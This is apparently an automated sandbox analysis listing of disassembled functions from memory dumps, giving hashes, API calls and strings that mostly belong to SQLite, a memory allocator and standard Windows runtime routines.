Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 7206a29d3a6de44d97a2895267c95acf94754136b80fd15e149b51504870eddc
Instruction ID: b23863715866e48090019dfe7e834efaa1749054fc5d7a077ead393cdc9196cf
Opcode Fuzzy Hash: 7206a29d3a6de44d97a2895267c95acf94754136b80fd15e149b51504870eddc
Instruction Fuzzy Hash: 95C2C271A547068FD716CF29CA80726BBE1FF86358F18C66CE4A98B395C7B1E841CB41

Function 61E94783 Relevance: 22.4, Strings: 17, Instructions: 1152COMMON

Download Yara Rule

Strings

bua, xrefs: 61E95282
@Da, xrefs: 61E94970
content, xrefs: 61E94C7D
bua, xrefs: 61E95230
compress, xrefs: 61E950C7
uncompress, xrefs: 61E950CC
, ?, xrefs: 61E952EC
simple, xrefs: 61E94CA1
__langid, xrefs: 61E9554B
fts3, xrefs: 61E9578D
rowid, xrefs: 61E951BE
4, xrefs: 61E94E16
a, xrefs: 61E9543E
8a, xrefs: 61E950D1
_content, xrefs: 61E958F1
va, xrefs: 61E9518C
bua, xrefs: 61E95118

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: free
String ID: , ?$4$8a$@Da$__langid$_content$bua$bua$bua$compress$content$fts3$rowid$simple$uncompress$va$a
API String ID: 1294909896-3798220086
Opcode ID: 8ed1ee355efa6399359940d2c72214bad976227d316bf48d1db2e98ad8d8d2eb
Instruction ID: ef7f48c3fdd7dc8ca6414c769173e2ec05d9438d07e734940b1c5d50411cadd4
Opcode Fuzzy Hash: 8ed1ee355efa6399359940d2c72214bad976227d316bf48d1db2e98ad8d8d2eb
Instruction Fuzzy Hash: 40C2B0B49083598FDB10CFA8C58479DBBF1AF88318F2589AED898AB341D774D985CF41

Function 61E89E0E Relevance: 21.9, APIs: 1, Strings: 13, Instructions: 889COMMON

Download Yara Rule

Strings

table, xrefs: 61E8A4AE
, , xrefs: 61E8A717
bua, xrefs: 61E89E80
sqlite_sequence, xrefs: 61E8A99D
, xrefs: 61E8A722
<va, xrefs: 61E8A6FF
bua, xrefs: 61E8A704
VIEW, xrefs: 61E8A4A4
bua, xrefs: 61E89EE8
TABLE, xrefs: 61E8A4A9
,)?, xrefs: 61E8A70F
view, xrefs: 61E8A4B6
BINARY, xrefs: 61E8AA07

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: $, $,)?$<va$BINARY$TABLE$VIEW$bua$bua$bua$sqlite_sequence$table$view
API String ID: 0-1924526440
Opcode ID: a2d511e911d41754178176bce4a3c0acc5bdbddfdf23e1be1dd624fd5581a640
Instruction ID: 7e928e732a07f98dc879ebd84ab0464052c32152e924ddb65c1e78ed1b741658
Opcode Fuzzy Hash: a2d511e911d41754178176bce4a3c0acc5bdbddfdf23e1be1dd624fd5581a640
Instruction Fuzzy Hash: 92824674A45245CFDB44CFA8C18079DBBF1BF88308F25C569E899AB3A5D774E882CB41

Function 61E9E24F Relevance: 17.1, Strings: 13, Instructions: 869COMMON

Download Yara Rule

Strings

docsize, xrefs: 61E9ECA4, 61E9EE46
k PRIMARY KEY, v, xrefs: 61E9ECC4
content, xrefs: 61E9E6BE, 61E9EC68, 61E9EE3F
bua, xrefs: 61E9E43E
idx, xrefs: 61E9EAF7
version, xrefs: 61E9ECE8
config, xrefs: 61E9ECC9
bua, xrefs: 61E9ED4E
data, xrefs: 61E9EAD1
segid, term, pgno, PRIMARY KEY(segid, term), xrefs: 61E9EAF2
rowid, xrefs: 61E9E89A, 61E9E993
id INTEGER PRIMARY KEY, block BLOB, xrefs: 61E9EACC
id INTEGER PRIMARY KEY, sz BLOB, xrefs: 61E9EC9F

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: bua$bua$config$content$data$docsize$id INTEGER PRIMARY KEY, block BLOB$id INTEGER PRIMARY KEY, sz BLOB$idx$k PRIMARY KEY, v$rowid$segid, term, pgno, PRIMARY KEY(segid, term)$version
API String ID: 0-2268357529
Opcode ID: 51dc9a46913474615a3c12dbd82127349fb95fee96a195a6dee78d8211c28c7b
Instruction ID: f9c2f8dafde392a94833a84278d27f7abaf5337b7a20f26a6dc113648fca896e
Opcode Fuzzy Hash: 51dc9a46913474615a3c12dbd82127349fb95fee96a195a6dee78d8211c28c7b
Instruction Fuzzy Hash: FE8206B49046499FDB10CFA9C18079DBBF1BF89318F25C92EE894AB395D774D881CB42

Function 61EA2F47 Relevance: 11.8, APIs: 2, Strings: 5, Instructions: 1261COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61EA3821
memcmp.MSVCRT ref: 61EA397C

Strings

optimize, xrefs: 61EA3281
docsize, xrefs: 61EA3F81
UPDATE, xrefs: 61EA3C5F
content, xrefs: 61EA356B
DELETE from, xrefs: 61EA3C5A

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: DELETE from$UPDATE$content$docsize$optimize
API String ID: 1475443563-624765053
Opcode ID: 01b581081a21e188c16d05839ebe591451f1c3dfb43f8700f9460ea1264c59b3
Instruction ID: 70c6a14bc8af06d6aef6aa9ad5cb9e7fc1cc1a093b7b28355e50790c232760be
Opcode Fuzzy Hash: 01b581081a21e188c16d05839ebe591451f1c3dfb43f8700f9460ea1264c59b3
Instruction Fuzzy Hash: ABC2F674A042598FDB10DFA8C980B8DBBF1BF88308F2585A9D849AB345D774ED85CF81

Function 61E56F18 Relevance: 9.6, APIs: 5, Strings: 1, Instructions: 606COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E57166

Strings

NEAR, xrefs: 61E57493

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: memcmp
String ID: NEAR
API String ID: 1475443563-1088024997
Opcode ID: 1db0a8a05ff424b7d0ada5e6b7a5dd7550b8347adc3c2fe78b52732ebd91e4a4
Instruction ID: b4e98ac7f2dea276e522b18a44adf406a464a3194d3be0cff96e2c83306ccf13
Opcode Fuzzy Hash: 1db0a8a05ff424b7d0ada5e6b7a5dd7550b8347adc3c2fe78b52732ebd91e4a4
Instruction Fuzzy Hash: 464234B4D08289CFDB80CFA8C18479DBBF1BB49308FA4C45AD8549B345D776E8A6CB51

Function 61E64E0C Relevance: 9.5, Strings: 5, Instructions: 3235COMMON

Download Yara Rule

Strings

, xrefs: 61E67682
`, xrefs: 61E68304
J, xrefs: 61E6511A
N, xrefs: 61E65461
BINARY, xrefs: 61E671D6

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: $ N$BINARY$J$`
API String ID: 0-2078302688
Opcode ID: 28cf2302d00e67c30b1d17ebee77cc456b09f67e30bb069017a85409b252f4e9
Instruction ID: 8b687d588507154f9b7ca5d7c21d8a58e11a900b957e56d8d79dd7eab4857ed6
Opcode Fuzzy Hash: 28cf2302d00e67c30b1d17ebee77cc456b09f67e30bb069017a85409b252f4e9
Instruction Fuzzy Hash: 3C730474A452698FEB60CF18C880B99B7F1BF49314F6585DAD848AB391D770EE81CF90

Function 61E7B85E Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 1812stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E7BD05

Strings

q, xrefs: 61E7CF4D
p, xrefs: 61E7BF15
rows inserted, xrefs: 61E7C4C2
BINARY, xrefs: 61E7C2A2

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: strcmp
String ID: BINARY$p$q$rows inserted
API String ID: 1004003707-1829360308
Opcode ID: b5618e850d2d66eae0103db59675ed50413f907eb1dedbb155643b4630aed06c
Instruction ID: 065edfd01cf961ed3b9e2e1e11ae97a3b52417d8b8be7254ab2c95bfb3f70183
Opcode Fuzzy Hash: b5618e850d2d66eae0103db59675ed50413f907eb1dedbb155643b4630aed06c
Instruction Fuzzy Hash: 8113D574A0425A8FEB21CF68C980B99B7F1AB89304F20C5E9D889A7351D774EEC5CF51

Function 61E62CA3 Relevance: 9.1, Strings: 6, Instructions: 1622COMMON

Download Yara Rule

Strings

u, xrefs: 61E63A4C
false, xrefs: 61E63127
NOCASE, xrefs: 61E63D79
E, xrefs: 61E64125
BINARY, xrefs: 61E63D74
2, xrefs: 61E630F0

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: 2$BINARY$E$NOCASE$false$u
API String ID: 0-3666730823
Opcode ID: 2d36ef6eedd61e04857ced46d89c12f887fd07b52f753764f99e5abacbfd4da9
Instruction ID: 6b9246b4563a5e155af7b98e7ab84f845b82c0e831d1f7dba739a0367b6c7f33
Opcode Fuzzy Hash: 2d36ef6eedd61e04857ced46d89c12f887fd07b52f753764f99e5abacbfd4da9
Instruction Fuzzy Hash: 39F24774A442598FDB10CFA8C480B8DBBF5BF49318F65C169E858AB355D734EC86CB90

Function 6D2F75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6D2F748B,?), ref: 6D2F75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6D2F75D7
FreeLibrary.KERNEL32(?,6D2F748B,?), ref: 6D2F75EC

Strings

RtlNtStatusToDosError, xrefs: 6D2F75D1
ntdll.dll, xrefs: 6D2F75B3

Memory Dump Source

Source File: 00000009.00000002.3669459129.000000006D291000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6D290000, based on PE: true

Associated: 00000009.00000002.3669337532.000000006D290000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669762574.000000006D31E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000009.00000002.3669825089.000000006D322000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6d290000_194fcc03d1.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 94ce6d7d7705e002fa60405ce224e4c4b1f1bb0919a502a1883be02be5021b80
Instruction ID: cbf88ef4fdd56066eb56f4e6537916644c581a04192d6344bd9d68f50d68ee85
Opcode Fuzzy Hash: 94ce6d7d7705e002fa60405ce224e4c4b1f1bb0919a502a1883be02be5021b80
Instruction Fuzzy Hash: C8E092B6484307BBEB00AB62EC4A7117BFCEB07295F045125E924D6311EBB4C052CF21

Function 61E19208 Relevance: 8.5, Strings: 6, Instructions: 967COMMON

Download Yara Rule

Strings

Inf, xrefs: 61E1A717
-, xrefs: 61E195B8
$, xrefs: 61E19687
, xrefs: 61E1A20D
NaN, xrefs: 61E19A67
-, xrefs: 61E1997C

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: $$$-$-$Inf$NaN
API String ID: 0-2883260867
Opcode ID: 028b7e2239e5b65ec7313dae655860b22c75c4cb4265c042bc54a10a851200c5
Instruction ID: 08ada5b9c357915bf8dc0511ebd4b169d1569d08758c0a6763b5a4183e8dfcc3
Opcode Fuzzy Hash: 028b7e2239e5b65ec7313dae655860b22c75c4cb4265c042bc54a10a851200c5
Instruction Fuzzy Hash: 8D92B370E4D2958EDB219B68C881398BBF1AB86344F34C4D9C49D9736AE735CAC9CF41

Function 61E9316A Relevance: 8.3, Strings: 6, Instructions: 804COMMON

Download Yara Rule

Strings

ha, xrefs: 61E932B5
ma, xrefs: 61E932BF
A, xrefs: 61E9338F
snippet, xrefs: 61E931A7
]a, xrefs: 61E932AB
bua, xrefs: 61E93379

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: A$]a$bua$ha$ma$snippet
API String ID: 0-4021802672
Opcode ID: bcdd29fe85e83d9626de9d7895381349f589ec5a9bd13eb903fe6afadfc647b5
Instruction ID: b2623b0ed89b922f0be96898bd960c36401f43a5980a856a5f0c11e76d1438fa
Opcode Fuzzy Hash: bcdd29fe85e83d9626de9d7895381349f589ec5a9bd13eb903fe6afadfc647b5
Instruction Fuzzy Hash: C392CF7490426ACFDB64CF69C884BC9B7B1BB48314F2486EAD85DAB250D7709EC5CF90

Function 61E86668 Relevance: 8.2, Strings: 6, Instructions: 719COMMON

Download Yara Rule

Strings

missing from index , xrefs: 61E86ED7
wrong # of entries in index , xrefs: 61E86DE9
non-unique entry in index , xrefs: 61E8700A
row , xrefs: 61E86EA4
q, xrefs: 61E86DD9
d, xrefs: 61E866B5

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID:
String ID: missing from index $d$non-unique entry in index $q$row $wrong # of entries in index
API String ID: 0-2434882124
Opcode ID: 921ab0ccc1e902f431f857eff6efa5778c0dcde10fe6ee965bc2548e6adb162c
Instruction ID: 64764bd2453105caa9badb98113fecf854144ac2eeaebcc13dcf1322e2d74596
Opcode Fuzzy Hash: 921ab0ccc1e902f431f857eff6efa5778c0dcde10fe6ee965bc2548e6adb162c
Instruction Fuzzy Hash: 5272E374A042898FDB50DFA8C59079DBBF1BB88304F20C56DE8A8AB395D775E942CF41

Function 61EAF900 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 61EAF94F
UnhandledExceptionFilter.KERNEL32 ref: 61EAF95F
GetCurrentProcess.KERNEL32 ref: 61EAF968
TerminateProcess.KERNEL32 ref: 61EAF979
abort.MSVCRT ref: 61EAF982

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: a4a9847f77e74dada988f497729c1a98e5ce87648e4cbf1531909a786ce77a21
Instruction ID: c24ac7f06ebf37709200600ee493e26a75483ae19b01d267103323a56ae8c6ad
Opcode Fuzzy Hash: a4a9847f77e74dada988f497729c1a98e5ce87648e4cbf1531909a786ce77a21
Instruction Fuzzy Hash: A911C0B5A14A04CFDB00EFB9D64861EBBF0EB5A304F548929E998CB311E774D9848F52

Function 61EAF850 Relevance: 7.6, APIs: 5, Instructions: 54timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 61EAF889
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61EAF89A
GetCurrentThreadId.KERNEL32 ref: 61EAF8A2
GetTickCount.KERNEL32 ref: 61EAF8AA
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61EAF8B9

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3666682107.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667049424.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3667649841.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668102615.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668343110.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668535919.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3668988911.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_194fcc03d1.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 11ba3c5eec943ccd272f0a4fc468b32cfef13cd0c029082f67a55811cb38d485
Instruction ID: 8be46cd1f480235cb6d0906dde7f3b0c5fd652d59fe7cf958993e94cb5683476
Opcode Fuzzy Hash: 11ba3c5eec943ccd272f0a4fc468b32cfef13cd0c029082f67a55811cb38d485
Instruction Fuzzy Hash: 8D1170B29553118FCB00DFB9E58855BBBE0FB89654F050939E544CB200EB35D9898B92

Function 61EAF8FC Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 61EAF94F
UnhandledExceptionFilter.KERNEL32 ref: 61EAF95F
GetCurrentProcess.KERNEL32 ref: 61EAF968
TerminateProcess.KERNEL32 ref: 61EAF979
abort.MSVCRT ref: 61EAF982

Memory Dump Source

Source File: 00000009.00000002.3666766719.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

